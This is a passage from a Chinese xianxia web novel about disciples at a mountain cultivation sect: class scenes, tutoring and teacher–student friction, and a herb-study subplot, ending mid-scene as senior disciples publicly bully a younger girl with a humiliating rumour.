影涵望着他琉璃海一般的眸子,心又开始不受控制地骚动,仿佛被一片羽毛不停地撩拨着,于是微微张着唇。
瞧着她呆呆的模样甚是可爱,凤煜心中一动,俯身凑近,声音低沉含笑:‘公主这是又在想什么了?’
影涵轻轻惊呼一声,清醒过来,慌忙后退几步。
凤煜见她退开好整以暇地抱臂看她:‘公主莫不是又在想不该想的事了?’
‘没有……’她咬着嘴唇,脸颊红扑扑的,下意识眨眨眼。
他缓步走向她,微微俯身,视线与她齐平:‘当真?’却忍不住靠近她,看着她红扑扑的脸颊,居然忍不住想逗逗,‘那为何脸红了?’”
“停!”
沈檀溪气得胸脯剧烈起伏着,抓过那本书恨不得一把三昧真火烧个干净,以免误人子弟。
“回去把今天的这章抄十遍。”
苏潋影指着她手里的话本子:“那峰主先把这个还给我吧,原文我没记下来。”
竹里馆传出沈峰主气急败坏的咆哮,震得竹林里大片的小麻雀四散奔逃。
“我说的是九洲历史!你还想抄点什么?”
“误会了,我以为您让我抄话本子呢……”
我剑呢我剑呢!不给她人脑袋打成狗脑袋我“沈檀溪”三个字倒过来写!
顿了顿,潇湘君许是觉得讲九洲历史大家实在提不起兴趣来,于是清咳两声:“鉴于在座各位绝大多数才步入修仙一途,今天我们就说点有意思的,不知在座的有谁能将仙道九阶九境一字不落地说出来?”
话音刚落东南角第三排一女弟子举手了,沈檀溪微微颔首,这女弟子站了起来,虽然也着清莲袍,但削肩蜂腰,体态婀娜,放在众人间堪称鹤立鸡群,容貌也实在是万中无一,鹅蛋脸白中透粉、粉中透嫩,两弯秋水眸顾盼神飞,平日里眉宇间带着一股傲气,如同娇艳带刺的玫瑰花,此时面对沈檀溪却也是谦恭有礼。
底下开始窃窃私语。
“这谁啊?好漂亮啊,我一定要认识一下!”
“吴西西你都不知道?秦川太守的女儿,不管是容貌还是天资都是一等一的,想认识她?后面排队去吧,人家都懒得搭理你!”
沈檀溪眉头一拧立刻鸦雀无声,只听吴西西缓缓道:“回潇湘君,据弟子所知,这仙道境界共有九阶,自低到高分别是零阶无邪、一阶慕雅、二阶游仙、三阶行渊、四阶醉殇、五阶天问,六阶太息,七阶惊鸿,八阶化羽,九阶登仙。”
沈檀溪点点头:“一字不差,不过你入门时日也算不短了,对这些理应了如指掌,那么九品心境又是什么?”
吴西西连声应是,又一气儿说了下去,如数家
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珍:“九品心境自下而上依次是零品博六艺、一品君子无德、二品灭山河、三品断六欲、四品怨憎会、五品杀生证道、六品悲苍生、七品独幽怜、八品逍遥游、九品无一物。”
沈檀溪满意地点点头,示意她坐下,又看向众弟子:“诸位,想必你们已经记住了,求仙问道最忌急功近利,心境远比修行境阶要重要,所谓心境也就是你们的本心,如果丢失了本心,也就离真正的仙道越来越远了……”
别人都觉得苏潋影完了,惹了潇湘君非让她盯上不可,当事人自己倒是不以为然,第二节课照样心不在焉,困意袭来倒头就睡,只是睡了没一会儿就被敲桌子的声音吵醒了,抬眸一看,对方长身玉立、白衣如雪,一手捏着半卷成筒的书本,一手负在背后,吐气如兰道:“这位同学,韶光易逝,为什么趴这儿睡觉?”
苏潋影雪白的脸蛋上全是压出来的红印子,被叫醒后换了个方向继续睡,嘴里嘟囔道:“因为坐直了睡不着……”
花焚熠攥紧了手里的书本,有心敲一下眼前那颗小脑袋却还是住了手,本以为她只是犯困好心提醒一下,没想到这小玩意儿居然还在记仇,心里也是堵了一口气,冷声道:“若是你觉得自己没必要上我的课,那以后也不必来了。”
楚纤茉听了这话吓得不轻,连忙悄悄去推苏潋影,好不容易考进梵净山,这家伙一上午居然得罪了两位峰主,真以为自己不会被赶出去啊?
苏潋影噌一下坐直了,眼睛直直看着花焚熠,甚至还听话地打开了书本。
花焚熠略感诧异:“又愿意听课了?”
苏潋影点点头:“毕竟交了学费的,我不能跟我爹的钱堵气。”
满堂哄笑中,花焚熠略微勾唇一笑:“如此甚好。”
乐理课以前是由沐灵和花焚熠两人负责的,花焚熠教理论,沐灵带弟子们实操,可是现在全落到他一人身上了,上午讲完理论后看大家都没什么精神,于是在征得掌门同意后带一群弟子来到了缥缈峰雅室,让大家各自选一件自己喜欢的乐器。
弟子们顿时都来了精神,有抱古琴的,有拿笛子的……大家在雅室里叮叮咚咚地试音,场面有些乱糟糟的。
楚纤茉拿了一把玉笛,回头去找苏潋影,就见她走到了一架箜篌前,伸手摸了一把,纤细的五指随意拨弄了几下琴弦,一段乐声如清泉潺潺碰撞山石,一波一波流入耳朵里,让人想到了月光下万籁俱寂的山林中,波光粼粼的小溪欢快地奔流着,流过曲折的沟壑,冲刷着光洁的青石……
这段琴音盖过了雅室里所有嘈杂的乐声和吵闹声,房间里静了一瞬,所有人都回头望去,以为是花焚熠在弹奏,却见峰主依旧负手而立站在门口,压根没有进雅室。
且说这日,楚纤茉抱着书本和苏潋影往莲华峰走,随口问道:“苏苏,一年后经过测试我们就可以正式拜师了,你音律成绩那么好,是不是想拜入嫣雨君门下啊?”
此时,行走在雕花长廊另一侧的花焚熠停下了脚步,在镂空的窗格里可以看到两个身着梵净山弟子校服的女孩,虽然看不到脸,但听声音已经知道是谁了。
苏潋影冷哼一声:“俗话说的好,锻炼肌肉防止挨揍,整那些花里胡哨的有啥用?你弹琴能有我甩鞭子快?”
花焚熠背负在身后的手微微收紧。
他当初拿问心剑审问她,不过是公事公办,这丫头怎么这么记仇?拿自己的前途堵气可不行。
刚想叫住她们去劝说一二,又不知道该如何说出口,这么一愣神的功夫人已经走远了。
他忽然觉得自己有些好笑,操心别人的事做什么,自己手下又不是没有像样的弟子,她要浪费天赋就随她去吧。
52. 烟暖小阁
梵净十二峰成众星拱月之势,中间最高的是首峰青云峰,周围依次是潇湘峰、太曦峰、逍遥峰、缥缈峰、莲华峰、摇情峰、蘅泽峰、芳蔼峰、鹿鸣峰、绣雪峰以及嫣雨峰,每一座山峰都有各自的特色,如青云峰终年笼罩在云雾之中,山势险峻,在山巅能俯瞰云海中其他诸峰,而修为高深的修士更是可以纵观整个灵煌洲的景色。
潇湘峰上终年翠竹森森、幽静雅致,是个读书抚琴的好所在。
太曦峰最靠东,日出之际整座山峰都沐浴在万道霞光之中,所以相约在太曦峰看日出也成了一件风流雅事,不过要提防神出鬼没的潇湘君和太曦君,万一被抓住将意味着跟心上人挥泪诀别外加一万字的检讨。
逍遥峰阔野万里,地势平坦,草长莺飞,珍稀马匹活跃此间,纵马逍遥,马蹄踏过落花香,彩蝶翩飞,畅然自得。
缥缈峰景色旖旎,薄云笼罩、水雾弥漫,抚琴崖清净寂寥,空穴来风,对着翻腾云海与清风朗月合奏,美如画卷。
莲华峰峰如其名,山形如同一朵犹抱琵琶半遮面的莲花,大片的五色池水如同点缀在山峰上的一颗颗璀璨明珠,山腰彩云环绕,池中雪莲常开不败。
摇情峰因为处于极夜之中而得名,落月摇情满江树,踏入摇情峰纵观银汉星河,长夜无明,无边的月色催生了大片的暗夜流萤,与星光交相辉映。
蘅泽峰郁郁苍苍、生满奇花异草,药庐草堂古朴雅致,小桥流水,古意悠然,仙师采药去,童子守柴扉,只在此山中,云深不知处。
芳蔼峰清峻秀丽,独树一帜,有四时长盛之花、八节长青之木,香云缭绕,仙雾氤氲,与花为媒、为花解语,兰麝争芳、桃李斗艳,仙娥彩女簪花摇鬓、斗草调香而怡然自得。
鹿鸣则类逍遥之风,清静无为、自得其乐,四象原广袤无垠、草木丰美,珍稀灵兽数不胜数,彩凤翩飞、白狐望月、猿猴弄萧、蛟龙戏水……人与灵兽相处过程中产生羁绊,双双提升修为,实乃居家旅行必备良友。
绣雪峰万年积雪不融、冰雕玉筑,红梅凛冽、幽香扑鼻,椒房暖阁则春意长驻,围炉夜话,煮茶烹酒,极尽风雅,闲来无事可约两三好友堆雪人、打雪仗,因容易引发雪崩故为掌门所禁止。
桃花坞里桃花庵,桃花庵中桃花仙。桃花仙人种桃树,又摘桃花换酒钱。桃花嫣然,恰似故人缓缓归依,而山雾氤氲,时而小雨淅淅,撑伞漫步其中,却见人面桃花相映红,故名嫣雨。
初入门的弟子需对各峰功法都有基本的了解,一年之后再选择适合自己的修行方向,所以他们学的东西既多又杂,每天的课程都安排地满满当当,剑术、文史、符咒和药学天天不见不散,而化妆易容、观星占卜、采花调香、饲养灵兽、弹琴吹笛这些有意思的课程一天只有一门,一节课也就一个时辰,真是欢悦嫌夜短,寂寞恨更长,已经有不少人决定以后要朝选修课的方向发展,对主修课程那是恨之入骨。
不过好在土曜、日曜两天是不用上课的,可以到处走走逛逛,只是未成名的弟子是不能私自出梵净山的,不过那也比天天闷在学堂里好。
像人家学习认真的仙友们这会儿要么在藏书阁看书,要么找块清净地方练剑,但有些人就在山中漫步虚度光阴,宁愿数地上的蚂蚁都不愿多看书本两眼。
但纵然如此不思上进、与世无争,还是有人戳她肺管子。
你倒是小点声啊,我又不聋,当着正主的面大声毁谤也太侮辱人了吧!
“她就是那个人魔混血啊?你说梵净山怎么把她给招进来了?”
“后台硬呗,碧梧山庄的二小姐,说不定给峰主们塞了多少好处呢,指不定连试炼都没过……”
“据说眼睛颜色都跟正常人不一样,吊在风雪崖七八天都没死,这不纯纯的怪物吗,咱们以后可得躲着点,被她咬一口说不定要得狂犬病……”
是可忍熟不可忍,苏潋影气得几步上前,拦在了她们面前,那叫一个磨牙凿齿、翻蹄亮掌:“来!当我面说,有什么疑问我当场给你们解答?跑什么跑啊?”
杨柳飞絮、点点如雪,一群嚼舌根的女弟子跑得比狗撵腚还快。
苏潋影站在原地气得跺脚,一屁股坐在了路边的青石上,仰着头看了一会儿天,又将脸埋在了膝盖上。
耳边脚步声悉悉索索,是靴子踏在落花上发出的细碎声响,这人走到她身边,单膝蹲下,伸手戳戳她脑袋,苏潋影转了个身拿圆乎乎的后脑勺对着他。
花焚熠忍俊不禁地笑了:“你不会是哭了吧?那可真是百年难得一见的西洋景。”
苏潋影拿袖子胡乱抹了两把脸,侧过了头,眼眶红得厉害,袖子上湿一块干一块,忿忿瞪了他一会儿,舌灿莲花如花焚熠忽然就有些慌了手脚,万万没想到小霸王还有哭鼻子的一天,顿时给他整不会了。
苏潋影起身拍拍身上的土,刚迈出两步花焚熠忽然叫住了她:“你打算一直这样下去?”
苏潋影回过头神色有些奇异地望着他,还带着点鼻音:“什么意思?”
花焚熠不知道她是真忘了还是故意装傻,想他堂堂峰主何至于跟这么个小王八蛋主动握手言和,这也太掉价了,现在低头以后她还不得蹬鼻子上脸?想到这里扬着下巴打算拂袖而去。
苏潋影在他身后幽幽道:“好吧好吧,就知道你们这些大人都抹不开面子,反正我脸皮厚,我道歉行了吧?”
说着九十度鞠躬:“对不起嫣雨君,我以后上课再也不睡觉了!”
没想到这丫头态度转变地还挺快,花焚熠见好就收,舌尖抵在唇齿间,原本想道歉的话临阵又改口了。
“落下的课业若有什么不懂的可以来问我。”
他丢下这么一句就步履生风地离开了,苏潋影注视着那道白衣飘飘的背影,背着手脸上带笑。
就这?我连打带埋三分钟好不好?阿姐居然给我三年时间,瞧不起谁呢?
……
日曜日,烟暖阁中自然是空空荡荡的,某峰主抽出自己休沐的宝贵时间给
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差生补课,但推后门一走进阁中又差点气吐血……
某弟子懒洋洋趴在第一排中间的桌子上,鬓边水仙花薄如蝉翼的花瓣微微动摇,人却歪着头一动不动,直到花焚熠走上去才发觉她举着一面小镜子。
花焚熠的脸也出现在镜子里,他看着镜中那张惊慌失措的面容,平静地道:“你家里人没有告诉你,小孩子镜子照多了会做噩梦吗?”
苏潋影无奈地摊摊手:“我无聊啊。”
花焚熠指着桌上摇摇欲坠的书山咬牙冷笑:“那么多功课放着不做,无聊?”
学渣没有一丝笨鸟先飞的觉悟,死猪不怕开水烫地长叹道:“我也想做啊,可是实力不允许。”
身边的蒲团被拉开一定距离,花焚熠正襟危坐在她身边,眸光淡淡扫向那堆书本:“哪里不懂?”
苏潋影反扣着小镜子一下子坐直了:“好问题,我哪儿都不会。”
花焚熠翻了几下崭新的题集,上面除了几只惟妙惟肖的小王八倒也做了那么两三道题……看了一会儿气得牙痒痒,一个暴栗招呼在某弟子头上:“这不都是课上讲过的东西吗?九洲的名字都能写错,你怎么不把自己名字写错了?”
苏潋影龇着牙抱着头等待脑壳上的钝痛感散去,这才吸着凉气反驳道:“写错九洲的名字顶多脑瓜被敲一下,写错自己名字我阿姐会踢死我,原则性错误不能犯。”
花焚熠冷笑一声垂下眸继续看她的功课:“你还有原则?‘原则’两个字能写明白吗?”
苏潋影气得磨牙,但是拿对方血招没有,气哼哼地扭过头去看着窗外:“嫣雨君你这么说话我就不爱听了,我是比较粗心大意,又不是智障,两个破字我还写不明白了?让你辅导功课不够受气的!”
花焚熠倒也不生气,淡然从旁边抽出一张纸按在桌面上:“既然你这么有信心,那就写几个来看看。”
苏潋影刚拿起笔的动作一顿,怀疑地抬头:“几个?”
花焚熠饶有兴致地看向她:“中华文化博大精深,从甲骨文写到行书给我看看。”
苏潋影愤愤扔下笔别过脸生闷气:“写不了一点,你弄死我得了……”
手边多了一盘紫红色的半透明灵果,花焚熠的声音从旁边幽幽传来:“劳逸结合,吃点东西吧。”
他说这话也感觉亏心,劳逸结合说得好听,“劳”在哪里呢?
苏潋影用余光瞥了那果子一眼:“这算给我道歉吗?”
花焚熠冷笑一声:“抱歉,是我知识太渊博让你自信心受挫了,我道歉。”
苏潋影捂紧胸口防止自己气到厥过去,三两下将桌面上的书本扒拉到一起,抓起那堆书重重地在书桌上磕了一下抱起来就走。
花焚熠看着她气冲冲离开的背影怔住了一会儿,随后依旧不咸不淡地开口:“做什么去?”
“哼,不劳您费神,我找别人教我!”
她似乎真的生气了,发辫随着走动的幅度前后乱晃,很快就消失在了他眼前。
53. 梦湉对策
翌日。
弟子们看着上课难得这般严肃认真的嫣雨君,面面相觑。
小师叔吃错药了?
不知道啊,跟二师伯进修去了还是又让掌门扣月薪了?
要命,平时上他的课最轻松了,今天怎么一个包袱也不抖了,怪不适应的。
花焚熠自顾自讲课,苏潋影依旧埋头睡觉,直到耳边啪一声巨响,惊得梦中人差点跳起来。
“打雷了?”
烟暖阁里静悄悄,只剩她和坐在讲席上垂眸看书的花焚熠。
现在就很尴尬了,不想说话也得跟他说,自顾自走掉好像不太好。
天公不作美,外面开始下雨了。
苏潋影磨磨蹭蹭将书本收进小布包里,迈步走到烟暖阁门口的位置低声呢喃一句:“嫣雨君我先走了……”
随即逃也似的快步走出烟暖阁,仿佛这屋子里有什么吃人不吐骨头的猛兽。
花焚熠似乎看书入迷了,或者是没听见或者是不想说话,他没有回答,苏潋影匆匆忙忙打开伞往外面走,听到背后的脚步声下意识回过头,只见花焚熠整个人站在雨幕里,苏潋影连忙回去踮脚给他打伞。
“您去哪儿啊,我送您过去。”
花焚熠垂下的发丝湿糯糯贴在他脸颊上,两人走在雨中,苏潋影撑伞撑得很辛苦,毕竟身高差在那儿摆着。
伞柄被人接过,一只温暖干爽的手将她整只手包裹起来,牵着她缓缓往前走,暗哑的声音自她头顶传来。
“你很讨厌我?”
“瞧您说的,哪有啊……”苏潋影有些尴尬,盯着自己的脚尖,湿滑的地面上泛着圈圈涟漪,看久了有些眼花。
“不讨厌?那就是喜欢了?”
苏潋影有些错愕地抬头,花焚熠目视前方,从这个角度只能看到他清俊的侧脸。
不讨厌得出的结论是喜欢,这是什么逻辑?
苏潋影还没转过弯来,花焚熠的问题又接二连三抛了出来:“你又去找谁帮你做功课了?他教的比我好吗?”
苏潋影不知道自己在紧张什么,挠挠头干笑道:“啊,你说那个事啊,我暂时没找到合适的人选。”
“那你觉得谁比较合适?”
苏潋影眼珠一转:“不知道,我再想想看吧。”
这一想又过了四天。
土曜日弟子们是没有安排课程的,峰主们自然也不用准备授课,但花焚熠自午后就一直待在烟暖阁,似乎是在等什么人,嫣雨峰的弟子们偶而会进去请教自家峰主几个问题。
最后一个弟子递上书本时,暮色渐合。
“先生,甲骨文的‘原则’两个字怎么写?”
花焚熠微一抬眸,眼前的人没有穿统一的弟子服,而是一袭碧色襦裙,校服大概是洗了没干,而她发丝上也沾着些许水汽。
“这么晚了洗什么头发?白天干嘛去了?”
嘴上这样说着,抬手凑近她披散在身后的发丝,掌心腾起的热气很快就烘干了潮湿的秀发。
白天自然忙着在莲华峰蹭饭,在鹿鸣峰抓宠物啊!
“学习,忙着学习。”
花焚熠也不拆穿她,自顾自垂眸看书。
苏潋影颇有些挫败。
得得得,当我欠你的,她伸出了手,笑嘻嘻道:“嫣雨君,握手言和吧,这同在屋檐下常来常往的,老是冷战也不是办法,多影响咱们梵净山师慈徒孝的氛围啊。”
万一给我期末挂科了我找谁说理去。
花焚熠没有去握她的手,拿书轻轻挡开,半垂着眼皮,薄唇微启:“要跟着我学就不要耍小性子,一言不合直接摔门而去,这点可能做到?”
苏潋影连忙竖起三指,小鸡啄米似的点头:“能!一定能,我若是再耍脾气,你一脚给我踹出嫣雨峰都行,我绝无二话!”
花焚熠自然不想与她插科打诨,多教她点东西算是对先前之事的补偿,至于以后她爱怎样便怎样。
花开两朵各表一枝。
楚纤茉自知没有苏潋影那样天赋异禀、有过目不忘之能,所以只好笨鸟先飞,努力跟上她的脚步,往往在苏潋影还呼呼大睡的时候就起床读书了,晚上回来也是在夜深人静时埋头苦学。
可饶是如此,却有些本末倒置,在课堂上困得打起了瞌睡,宋霜向来不惯孩子,见有人发困就点名提问。
楚纤茉一惊就清醒了过来,可是刚才根本没听见问题是什么,不敢看宋霜的眼睛,低着头满脸愧色。
苏潋影遇到草药学就逃课,被宋霜点名点怕了,宋霜督促了几次再也懒得管这种烂泥扶不上墙的学生,于是前者更加肆无忌惮地逃学旷课,大白天躲屋里睡觉,要么就约着臭味相投的几个师兄弟下山玩,以至于进山短短三月,身上背的处分比写过的作业还多……
一女弟子冷嘲热讽道:“师尊,人家可是卯时就起来奋发图强了,许是脑子太笨了才会记不住这些药材的用途吧,毕竟咱们修仙一途终究是天赋比努力重要。”
宋霜看向满面羞红的她,最后制止了哗然的众弟子,声音依旧淡而无波:“肯下苦功是好事,但也要找到适合自己的方法,否则只是徒劳无功。”
宋霜这句点评很是中肯,但在众弟子听来都是对楚纤茉这个差生的怜悯,连她自己也这么认为。
她坐在池塘边看着那本《药经诠注》,想翻开但听到背后的欢声笑语又做贼心虚般将书本藏在了衣裙下,如此反复了五六次终于放弃了,袖着书回到了房间里,有心不学了,或许这样就不会被大家排挤了,但到了晚上,她怎么也睡不着,想起明天的课业越发烦躁,于是拿起枕头下的书,慢吞吞地下床穿鞋,轻轻推门出去来到了药圃里,对着月光找到了一味草药,蹲在那株草药前跟它大眼瞪小眼。
“断肠花,锯齿状叶片,一次性生三朵白色花苞,剧毒,误食后三个时辰内可以无情泪救治,七个时辰后则药石无医。”
自信满满地打开书一看,楚纤茉哀嚎一声抱住了头:”怎么又错啊!”
“咳……”
楚纤茉一转头吓了一跳,慌忙低头行礼,却把手里的药经摔了出去,她还没来得及捡起来,书已经飞到了宋霜手里。
他翻看着楚纤茉的书,书页上密密麻麻写满了东西,仔细一看几乎都是他说过的注意事项,有几页连他随口说的无关紧要的琐事都记。
兰室的茉莉花干枯了,记得浇水。
晨起记得在药庐里洒水。
下课后记得打扫药庐。
等等等等。
怪不得他最近觉得兰室的花草精神了许多,原来是她……
将书还给了她,轻声道:“冰冻三尺非一日之寒,我在这儿站了一会儿,你记得太杂乱了,自然容易东拉西扯,回去之后将各种药材的相似点与不同点整理出来,明天……后天课后交给我。”
他转身离去,留下楚纤茉一个人在夜风里凌乱。
现在怎么办?早知道就不来药圃背书了……
算了算了,还是早点回去睡觉,然后就该起床晨读了。
课后她本想将自己整理好的草药分类拿给宋霜看,但是一直磨叽到教室里的人都走了一大半还是不敢,咬咬牙继续在心里给自己加油打气。
要不等所有人都走了我再拿给蘅泽君看好了,就这样……
可是药庐里的弟子还没走完宋霜就先走了……
楚纤茉欲哭无泪,手里捏着皱巴巴的一叠纸不知该如何是好,擦了一把头上急出来的热汗,安慰自己道:算了算了,当时蘅泽君说了后天要,那么明天上课再给他好了。
她松了一口气抱着书本和作业走出药庐,刚走没两步忽然僵住了,整个人宛如石化。
苍天啊!她忘了明天是土曜日啊,蘅泽君不在药庐的,那要怎么办?难不成,难不成去梦湉斋找他吗?
楚纤茉恐惧地摇摇头,再借她一百个胆子她也不敢主动去找宋霜啊,光是看着他那张脸就感觉脑子里的知识全忘了,万一他一时兴起问她几个药方怎么办?
但不去交差好像也不妥,楚纤茉翻来覆去一晚上睡不着,连装病这种理由都想出来了,但最后还是知趣的打消了这个念头。
在药尊面前装病,找死呢?
最后她还是磨磨唧唧来到了梦湉斋外面,紧张地心脏怦怦乱跳,胸口如同揣了一窝兔子,连手脚都冰凉了。
在门口转了三圈,最终壮着胆子咽了口吐沫踏上了梦湉斋干净到一尘不染的木制台阶,院子里的荼蘼花散发出淡雅的香气,让人有些飘飘然,她抬手轻轻敲了三下半掩着的木门,嗓音有些干哑道:“蘅泽君?您在吗?”
不在不在,老天保佑,数到三我就走!
“嗯。”
屋子里传出淡而短促的一字回应。
楚纤茉咬了一下嘴唇,伸手推门进去,环顾了一圈满是书架、汗牛充栋的房间,不止一层是书,顺着楼梯往上看,二楼还是陈列着满满当当的书架,好不容易才在书堆里找到了一袭玄衣的宋霜,他在二楼一排书架前凝神搜寻着什么,修长的右手食指在一排排书籍的名目前掠过,专注而迅速,旁边的空桌上摆放着厚厚的几本书。
楚纤茉磕磕绊绊说明了来意,心中有些懊恼,她在苏潋影和其他人面前说话都很顺畅啊,但在宋霜面前舌头仿佛是刚长出来一样。
宋霜抽出了其中一本书也放在了桌子上,随后朝楚纤茉一伸手,楚纤茉连忙把一摞纸递了上去,宋霜垂眸看着,时间仿佛静止了一般,明明半炷香不到,对于楚纤茉来说仿佛过了几个世纪那么漫长。
她一抬眸看到了宋霜有些消瘦的冷峻面容,浓密而纤长的羽睫半遮眼睑,在她的印象里,宋霜好像从未笑过,虽然弟子之间都传言他是个面
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瘫,但她不这么认为,或许只是跟她一样,不喜欢与人说话吧。
“可都记住了?”
楚纤茉正神游天外忽然被这么一问吓了一跳,半晌才语无伦次道:“大概都记住了……”
宋霜不赞同地看向她,语气略有些生冷:“什么叫大概?身为医者,半点差错都可能置人于死地,我且问你,若有人在历练中身中尸毒,你该如何应对?”
楚纤茉迅速回想着自己记过的笔记,声如蚊蚋地回答道:“应该先让伤者停止走动,然后逼出其伤口处的污血以糯米敷之,再熬糯米粥与其服下,若情况恶化则需要以生人血喂养之防止其发怒癫狂,同时需要注意观察其獠牙长度,齿生三寸则回天乏术,在这之前还可以寻找四阶以上符咒系修士布驱魔大阵救治。”
说完她抬头看着宋霜,对方依旧神色淡漠又接连抛出几个问题,一个比一个难度升级,还设置了各种限制条件,有些连书本上都没有答案,楚纤茉苦思冥想,刘海儿都被汗水打湿了。
“嗯……如果……如果身上所有丹药都已用尽,或许还可以去附近的山林里寻找。”
“时不我待,我说了此人是急症,随时可能毙命。”
“那,那应该用传音符咒等去联系所有能联系到的朋友,请他们出手相助或是帮我购买需要的丹药。”
宋霜仿佛依旧不满意这个答案,又道:“若你的朋友都远在千万里之外呢?”
楚纤茉小脸皱作一团,这重重关卡设置的,明显是要这人死啊,一点活路都不给人家留。
最后她期期艾艾道:“那,那我只能带着这人去往最近的城镇附近,求一线生机。”
本以为又要被批评了,谁知这次宋霜却许久没说话,楚纤茉等得有些忐忑,一抬头却见宋霜出乎意料地点点头:“你可知,医者本分是什么?”
楚纤茉挠挠头:“救死扶伤。”
宋霜:“是为患者争取最后一丝活下去的希望,所以,哪怕你的患者放弃了自己,你都不能放弃他。”
“多谢蘅泽君指导,弟子受教了。”
“去吧。”
楚纤茉这才松了一口气,抱着那沓作业刚要走又被宋霜叫住了,她脑门上刚下去的汗又冒了出来。
几本书递到了面前,冷淡的声音也随之落下:“看完了再来换新的,书读百遍其意自现,实在有不懂的可以去问叶斐、盛祁星他们,再不懂的来问我。”
“好……多谢蘅泽君,弟子一定认真研读……”
楚纤茉不知道她最后是怎么回到逍遥峰的住所的,看着摆在书桌上那几本崭新的书籍,心里泛起异样的感受,抬手轻轻抚摸着书籍的封面,目光却穿透了窗户看着细雨绵绵的旷野。
镜子里映出一张床,蚊帐放了下来,被子在床上堆成蚕蛹状,里面塞了一只枕头假装是本人……
楚纤茉看着那床榻不由地浅笑,有时候她真的很羡慕苏潋影,羡慕她有那么好的家人,羡慕她出身修仙世家根骨奇异,羡慕她聪慧机灵,即使逃课睡觉也能轻轻松松通过各种测试考核……
别人羡慕嫉妒地咬牙切齿,她却摆摆手乐呵呵地道:“我一向走运罢了。”
楚纤茉羡慕她,可并不嫉妒,只是时不时有些焦虑。自打上梵净山以来,苏潋影的朋友就越来越多了,比如太曦峰的唐书戏、又比如莲华峰的江荀……虽然她一直说楚纤茉是她最好的朋友,并且坚持不懈地跟其他师兄师姐们介绍她,但楚纤茉依旧会忍不住胡思乱想,苏潋影这般讨人喜欢,迟早有一天她会被别人抢走吧?那些师兄是真的拿苏潋影当朋友、看她年纪小多加照拂,还是另有所图呢?
可惜她再怎么旁敲侧击地提醒,苏潋影依旧我行我素,她都不知是其他人私下是怎么议论纷纷的。
俗话说木秀于林风必摧之,楚纤茉听到这些闲言碎语已经不止一回了,她抱着书去潇湘峰上课,经过太曦峰后峰的一片竹林时就遇上了她和苏潋影两人的死对头。
那是先她们几年进门的师兄师姐们,据说都是修仙家族出身,一人是羲和洲吴氏的长女吴西西,一位是南蘋洲刘家的子侄刘慧思,还有灵煌洲门阀贵族子弟谢乙桥。
那俩师姐讨厌苏潋影和楚纤茉主要是因为苏潋影初来乍到抢尽了她们的风头,不仅几位首席师兄喜欢她,连风流蕴藉、孤芳自赏的花小师叔居然都对她青睐有加,这还能忍?还有那楚纤茉,装什么好学不倦、勤奋刻苦的小白花?摆明了就是装模作样给蘅泽君看的!她们可是专业的鉴茶大师,不揭穿这俩小绿茶的真面目誓不罢休!
而谢乙桥则是私下里跟苏潋影套近乎,装了三天半正人君子自觉得火候差不多了对人家动手动脚,对方毫不客气甩开玉骨鞭教他重新做人,这才恼羞成怒,经常在背后造谣,誓必要让其身败名裂。
现在好不容易逮着落单的楚纤茉,岂能轻易放过她?
54. 竹林挑衅
楚纤茉看着一字排开挡在她面前的三个人,就知道今天不会善罢甘休,停下脚步恭恭敬敬地口称“师兄师姐”。
那三人趾高气扬,刘慧思扬着下巴斜着两眼看人,冷笑道:“这年头啊,真是什么阿猫阿狗都能修仙了,不知哪个山沟里跑出来的老鼠,居然也想妄图踏上仙途,也不撒泡尿照照。”
楚纤茉咬着唇一言不发,她低着头就当听狗叫了,反正这些话对她来说无关痛痒,归根结底就是骂她穷,穷就穷呗,没什么大不了,修仙是看机缘又不是看钱包的薄厚。
吴西西却微微一笑,眸中闪过一丝寒意,轻轻斥责好友道:“慧思啊,这你可就说错了,人家虽然穷酸得可怜,但本事可是不小呢,在整个槐荫镇都是赫赫有名呢!”
刘慧思眼眸一转,看到楚纤茉明显紧张了起来,脸色发白看着她们,嘴唇轻轻颤抖着。
她掩唇笑得得意洋洋,高声询问道:“哟,这我可不清楚,西西你说出来让大家伙儿都听听啊!”
楚纤茉的心跳得厉害,隐隐觉察到她要说的事足可以威胁到自己,但思来想去也不知道吴西西到底要说什么,只是盯着她的嘴唇,抱着书的手越攥越紧。
吴西西居高临下地看着楚纤茉,她的声音妩媚动听,抑扬顿挫仿佛在说一段笑话。
“这事儿你们当然不知道了,我正好有一门亲戚就在槐荫镇,我也是过去串门的时候听说的,可是精彩呢!当时楚家那个老爷子都快疯了,满大街地找女儿,嘴里还骂骂咧咧,说自己生了个畜生、孽障,哎哟那个词骂得可难听了……”
楚纤茉感觉耳朵嗡了一声,仿佛一道惊雷在耳边炸响,她浑身冰冷,如同跌进了冰窖里,心里有个声音在尖叫哭喊着“别说了!别再往下说了!”可嘴里却发不出一丝声音。
围观看热闹的弟子越来越多,而吴西西似乎也在等这一刻,看着观众差不多都到齐了,这才提高嗓音,环抱双臂得意洋洋道:“那个疯老头,也就是楚纤茉她爹,满大街地嚷嚷啊,说他生了个孽障,勾引自家亲弟弟,姐弟俩天天的耳鬓厮磨、钻一个被窝,不知干出了什么好事,若不是儿子少不更事不小心说漏了嘴,一家人都被蒙在鼓里呢!”
旁边谢乙桥饶有趣味地打量着脸色苍白到几近透明、泪水在眼眶里打转的楚纤茉,他笑得越发恶劣,心道:果然是小孩子啊,这么低级的挑衅都受不了,哭有个屁用,憋死你活该!还是那个叫什么苏苏的更合我意,这会儿若是换了她,估计都把这俩一唱一和造谣生事的抽成陀螺了。
谢乙桥嘴也没闲着,在旁边添油加醋、故作惊讶道:“啧啧啧,看不出来啊,楚师妹年纪这么小就如此饥渴难耐吗?实在不行你跟师兄们说一声,大家师出同门,这点忙还是帮得上的。”
这话一出周围一片起哄声。
楚纤茉只觉得天旋地转,整个人仿佛快被刺眼的日光给晒晕了,她眼前一片模糊,耳朵里满是嘻嘻哈哈的笑声、窃窃私语的议论声……
“真的假的啊?”
“不能吧?她看着挺安分守己的,没想到玩得这么花啊……”
“啧啧啧,我要是她爹也得气疯了。”
“你看她长成那个模样,一看就不是安分守己的人啊,相由心生啊,这不就是天生的狐狸精嘛!”
“这事儿要是让峰主们知道了,肯定会把她赶出山吧?有这种品行不端的弟子说出去就是给门派抹黑!多丢人啊,别让这一颗老鼠屎坏了一锅汤!”
刘慧思故作惊讶地张大了嘴巴,眼角堆笑地从上到下将楚纤茉看了一遍,又是无比夸张地高声嚷道:“不能吧?楚师妹,你倒是说句话啊?”
她伸手攥住了楚纤茉的胳膊,抬手就去掀她的袖子,楚纤茉惊恐地往回扯自己的胳膊,刘慧思却死死拽着不放,咬牙切齿地微笑道:“来,让师姐帮帮你!给大家看一下你腕上的朱砂痣,不就能自证清白了吗?”
